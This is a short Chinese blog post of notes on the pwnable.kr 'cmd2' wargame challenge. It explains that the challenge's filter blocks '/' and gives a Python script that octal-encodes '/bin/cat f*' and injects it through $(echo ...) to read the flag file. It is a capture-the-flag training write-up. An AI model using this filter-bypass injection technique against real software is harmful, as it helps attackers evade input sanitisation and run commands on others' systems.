pwnable 笔记 Toddler's Bottle - cmd2

来源:互联网 发布:php网站打包app 编辑:程序博客网 时间:2024/06/18 04:33

这题过滤的条件更加严格了,增加了对/的过滤,也就是说输入目录都会被过滤掉,这样通过字符拼接绕过过滤就很难了

google了一下其他方法,发现可以把命令通过八进制编码,然后通过echo 命令输出

解题脚本:(放在/tmp下执行)

#!/usr/bin/python import subprocesscmd = "/bin/cat f*"encode = ""for c in cmd:    encode += "\\"+oct(ord(c))# print encodeargs = ["/home/cmd2/cmd2","$(echo \'" + encode + "\')"]# print args[1]subprocess.Popen(args) 


0 0
原创粉丝点击